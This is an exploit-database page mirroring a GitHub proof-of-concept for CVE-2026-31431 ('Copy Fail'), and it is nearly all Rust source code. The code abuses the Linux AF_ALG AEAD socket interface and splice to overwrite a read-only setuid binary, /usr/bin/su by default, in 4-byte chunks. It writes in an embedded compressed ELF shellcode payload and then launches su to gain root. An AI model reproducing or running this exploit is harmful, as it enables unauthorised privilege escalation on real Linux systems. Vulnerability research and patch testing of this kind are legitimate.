Exploit database

GH-cbca91a310e15759952d223f297f7569

nisec-eric/cve-2026-31431

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
nisec-eric/cve-2026-31431Revision b0a5dc0915bc

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/copy_fail_rust/src/main.rs

Suggested starting fileRust · 9,223 bytes
use std::io::{self, Read};
use std::mem;
use std::os::unix::io::RawFd;
use std::ptr;

// ---------------------------------------------------------------------------
// Syscall constants
// ---------------------------------------------------------------------------
const AF_ALG: libc::c_int = 38;
const SOCK_SEQPACKET: libc::c_int = 5;
const SOL_ALG: libc::c_int = 279;
const ALG_SET_KEY: libc::c_int = 1;
const ALG_SET_IV: libc::c_int = 2;
const ALG_SET_OP: libc::c_int = 3;
const ALG_SET_AEAD_ASSOCLEN: libc::c_int = 4;
const ALG_SET_AEAD_AUTHSIZE: libc::c_int = 5;

const _SPLICE_F_MOVE: libc::c_uint = 1;
const MSG_MORE: libc::c_int = 0x8000;

// Zlib-compressed 160-byte ELF shellcode payload
const PAYLOAD_HEX: &str = concat!(
    "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d",
    "209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675",
    "c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
);

// ---------------------------------------------------------------------------
// sendmsg cmsg builder
#[repr(C)]
struct SockAddrAlg {
    salg_family: libc::sa_family_t,
    salg_type: [u8; 14],
    salg_feat: u32,
    salg_mask: u32,
    salg_name: [u8; 64],
}

impl SockAddrAlg {
    fn new(alg_type: &str, alg_name: &str) -> Self {
        let mut salg_type = [0u8; 14];
        let mut salg_name = [0u8; 64];
        salg_type[..alg_type.len()].copy_from_slice(alg_type.as_bytes());
        salg_name[..alg_name.len()].copy_from_slice(alg_name.as_bytes());
        SockAddrAlg {
            salg_family: AF_ALG as libc::sa_family_t,
            salg_type,
            salg_feat: 0,
            salg_mask: 0,
            salg_name,
        }
    }
}

// ---------------------------------------------------------------------------
// sendmsg cmsg builder
// ---------------------------------------------------------------------------
struct CmsgBuilder {
    control: Vec<u8>,
}

impl CmsgBuilder {
    fn new() -> Self {
        CmsgBuilder { control: Vec::new() }
    }

    fn add(&mut self, level: libc::c_int, msg_type: libc::c_int, data: &[u8]) {
        let cmsg_space = Self::cmsg_space(data.len());
        self.control.reserve(cmsg_space);

        let cmsg_len = Self::cmsg_len(data.len());

        // cmsghdr
        self.control.extend_from_slice(&(cmsg_len as u64).to_ne_bytes());
        self.control.extend_from_slice(&(level as i32).to_ne_bytes());
        self.control.extend_from_slice(&(msg_type as i32).to_ne_bytes());
        // padding to align (libc cmsghdr on x86_64 is 16 bytes: 8+4+4)
        self.control.extend_from_slice(data);
        // pad to alignment
        let pad = cmsg_space - cmsg_len;
        self.control.extend(std::iter::repeat(0u8).take(pad));
    }

    fn cmsg_len(data_len: usize) -> usize {
        mem::size_of::<libc::cmsghdr>() + data_len
    }

    fn cmsg_space(data_len: usize) -> usize {
        let hdr = mem::size_of::<libc::cmsghdr>();
        let align = mem::align_of::<libc::cmsghdr>();
        (hdr + data_len + align - 1) & !(align - 1)
    }

    fn into_vec(self) -> Vec<u8> {
        self.control
    }
}

// ---------------------------------------------------------------------------
// Core exploit
// ---------------------------------------------------------------------------
fn trigger(target_fd: RawFd, offset: usize, chunk: &[u8]) -> Result<(), io::Error> {
    unsafe {
        let alg_fd = libc::socket(AF_ALG, SOCK_SEQPACKET, 0);
        if alg_fd < 0 {
            return Err(io::Error::last_os_error());
        }

        let addr = SockAddrAlg::new("aead", "authencesn(hmac(sha256),cbc(aes))");
        let ret = libc::bind(
            alg_fd,
            &addr as *const SockAddrAlg as *const libc::sockaddr,
            mem::size_of::<SockAddrAlg>() as libc::socklen_t,
        );
        if ret < 0 {
            let e = io::Error::last_os_error();
            libc::close(alg_fd);
            return Err(e);
        }

        let key = hex_to_bytes(&format!(
            "0800010000000010{}",
            "0".repeat(64)
        ));
        if libc::setsockopt(
            alg_fd,
            SOL_ALG,
            ALG_SET_KEY,
            key.as_ptr() as *const libc::c_void,
            key.len() as libc::socklen_t,
        ) < 0 {
            let e = io::Error::last_os_error();
            libc::close(alg_fd);
            return Err(e);
        }

        let authsize: u32 = 4;
        if libc::setsockopt(
            alg_fd,
            SOL_ALG,
            ALG_SET_AEAD_AUTHSIZE,
            &authsize as *const u32 as *const libc::c_void,
            mem::size_of::<u32>() as libc::socklen_t,
        ) < 0 {
            let e = io::Error::last_os_error();
            libc::close(alg_fd);
            return Err(e);
        }

        let req_fd = libc::accept(alg_fd, ptr::null_mut(), ptr::null_mut());
        if req_fd < 0 {
            let e = io::Error::last_os_error();
            libc::close(alg_fd);
            return Err(e);
        }

        let splice_len = offset + 4;

        let mut aad = vec![b'A'; 4];
        aad.extend_from_slice(chunk);

        let mut cmsg = CmsgBuilder::new();
        cmsg.add(SOL_ALG, ALG_SET_OP, &[0u8; 4]);
        let mut iv = vec![0x10u8];
        iv.extend_from_slice(&[0u8; 19]);
        cmsg.add(SOL_ALG, ALG_SET_IV, &iv);
        let mut asslen = vec![0x08u8];
        asslen.extend_from_slice(&[0u8; 3]);
        cmsg.add(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, &asslen);
        let control = cmsg.into_vec();

        let mut iov = libc::iovec {
            iov_base: aad.as_mut_ptr() as *mut libc::c_void,
            iov_len: aad.len(),
        };

        let mut msg = libc::msghdr {
            msg_name: ptr::null_mut(),
            msg_namelen: 0,
            msg_iov: &mut iov,
            msg_iovlen: 1,
            msg_control: control.as_ptr() as *mut libc::c_void,
            msg_controllen: control.len() as _,
            msg_flags: 0,
        };

        if libc::sendmsg(req_fd, &mut msg, MSG_MORE as i32) < 0 {
            let e = io::Error::last_os_error();
            libc::close(req_fd);
            libc::close(alg_fd);
            return Err(e);
        }

        let mut pipes: [RawFd; 2] = [-1, -1];
        if libc::pipe(pipes.as_mut_ptr()) < 0 {
            let e = io::Error::last_os_error();
            libc::close(req_fd);
            libc::close(alg_fd);
            return Err(e);
        }

        let mut off_in: i64 = 0;
        if libc::splice(
            target_fd,
            &mut off_in as *mut i64,
            pipes[1],
            ptr::null_mut(),
            splice_len,
            0,
        ) < 0 {
            let e = io::Error::last_os_error();
            libc::close(pipes[0]);
            libc::close(pipes[1]);
            libc::close(req_fd);
            libc::close(alg_fd);
            return Err(e);
        }

        if libc::splice(
            pipes[0],
            ptr::null_mut(),
            req_fd,
            ptr::null_mut(),
            splice_len,
            0,
        ) < 0 {
            let e = io::Error::last_os_error();
            libc::close(pipes[0]);
            libc::close(pipes[1]);
            libc::close(req_fd);
            libc::close(alg_fd);
            return Err(e);
        }

        libc::close(pipes[0]);
        libc::close(pipes[1]);

        let mut buf = vec![0u8; 8 + offset];
        libc::read(req_fd, buf.as_mut_ptr() as *mut libc::c_void, buf.len());

        libc::close(req_fd);
        libc::close(alg_fd);
    }
    Ok(())
}

fn hex_to_bytes(s: &str) -> Vec<u8> {
    (0..s.len())
        .step_by(2)
        .map(|i| u8::from_str_radix(&s[i..i + 2], 16).unwrap())
        .collect()
}

fn decompress_payload(hex_str: &str) -> Vec<u8> {
    use flate2::read::ZlibDecoder;
    let compressed = hex_to_bytes(hex_str);
    let mut decoder = ZlibDecoder::new(&compressed[..]);
    let mut payload = Vec::new();
    decoder.read_to_end(&mut payload).unwrap();
    payload
}

fn main() {
    let target = std::env::args()
        .nth(1)
        .unwrap_or_else(|| "/usr/bin/su".to_string());

    eprintln!("[*] Copy Fail (Rust) — CVE-2026-31431");
    eprintln!("[*] Target: {}", target);

    let payload = decompress_payload(PAYLOAD_HEX);
    eprintln!("[*] Payload: {} bytes", payload.len());

    let fd = unsafe {
        libc::open(
            target.as_ptr() as *const libc::c_char,
            libc::O_RDONLY,
        )
    };
    if fd < 0 {
        eprintln!("[!] Cannot open {}", target);
        std::process::exit(1);
    }

    let mut offset = 0;
    while offset < payload.len() {
        let end = std::cmp::min(offset + 4, payload.len());
        if let Err(e) = trigger(fd, offset, &payload[offset..end]) {
            eprintln!("[!] offset {}: {}", offset, e);
            std::process::exit(1);
        }
        offset = end;
        eprint!("\r[*] Writing: {}/{} bytes", offset, payload.len());
    }

    unsafe { libc::close(fd) };
    eprintln!("\n[+] Done. Executing su...");

    std::process::Command::new("su")
        .stdin(std::process::Stdio::inherit())
        .stdout(std::process::Stdio::inherit())
        .stderr(std::process::Stdio::inherit())
        .status()
        .ok();
}